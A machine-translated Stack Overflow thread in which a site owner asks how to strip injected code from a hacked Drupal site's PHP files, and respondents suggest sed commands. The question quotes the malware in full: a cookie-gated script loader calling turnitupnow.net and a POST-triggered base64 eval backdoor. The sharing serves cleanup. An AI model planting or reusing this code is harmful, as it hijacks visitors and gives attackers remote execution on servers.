sed,替换第一行

rob*_*ing 34 sed

通过运行一个非常过时的Drupal安装我被黑了(对我很遗憾)

似乎他们在每个.php文件中注入以下内容;

<?php global $sessdt_o; if(!$sessdt_o) { 
  $sessdt_o = 1; $sessdt_k = "lb11"; 
  if(!@$_COOKIE[$sessdt_k]) { 
   $sessdt_f = "102"; 
   if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } 
   else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } 
  } 
  else { 
   if($_COOKIE[$sessdt_k]=="102") { 
    $sessdt_f = (rand(1000,9000)+1); 
     if(!@headers_sent()) {
      @setcookie($sessdt_k,$sessdt_f); } 
     else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; }  
     sessdt_j = @$_SERVER["HTTP_HOST"].@$_SERVER["REQUEST_URI"]; 
     $sessdt_v = urlencode(strrev($sessdt_j)); 
     $sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200); 
     echo "<script src='$sessdt_u'></script>"; 
     echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--"; 
    } 
   } 
   $sessdt_p = "showimg"; 
   if(isset($_POST[$sessdt_p])){
    eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));
    exit;
   } 
  }
Run Code Online (Sandbox Code Playgroud)

我可以删除并替换它sed吗?例如:

find . -name *.php | xargs ... 
Run Code Online (Sandbox Code Playgroud)

我希望该网站暂时可以使用wget并制作静态副本.

Sch*_*ron 77

你可以用sed类似的东西

sed '1 s/^.*$/<?php/'
Run Code Online (Sandbox Code Playgroud)

1部分仅替换第一行.然后,由于该s命令,它将替换整行<?php.

要就地修改文件,请使用-iGNU选项sed.


Ste*_*ker 6

要替换文件的第一行,可以使用以下c命令的(“ for change”)命令sed

sed '1c<?php' 
Run Code Online (Sandbox Code Playgroud)

转换为:“在第1行上,将模式空间替换为<?php”。

但是,对于此特定问题,可能会执行以下操作:

sed '1,/^$/c<?php'
Run Code Online (Sandbox Code Playgroud)

内容为:将范围“第1行到第一个空行”更改为<?php,从而替换所有注入的代码。

(如果地址的第二部分(正则表达式/^$/)不是空行,则应将其实际分隔为注入的代码。)

  • 您的示例不包含空行,因此地址当然不匹配。顺便说一下,`c`的语法是:[[address1 [,address2]] c \ &lt;CR&gt; text`。是的,这是反斜杠后的原义换行符,对于GNU版本的sed来说不是必需的。因此,要使您的`sed`示例工作(没有空行):`sed'1,3c \ &lt;CR&gt; &lt;?php &lt;CR&gt;'`。(Bash的替代项:`sed $'1,3c \\\ n &lt;?php \ n'/ tmp / example.php`)。 (2认同)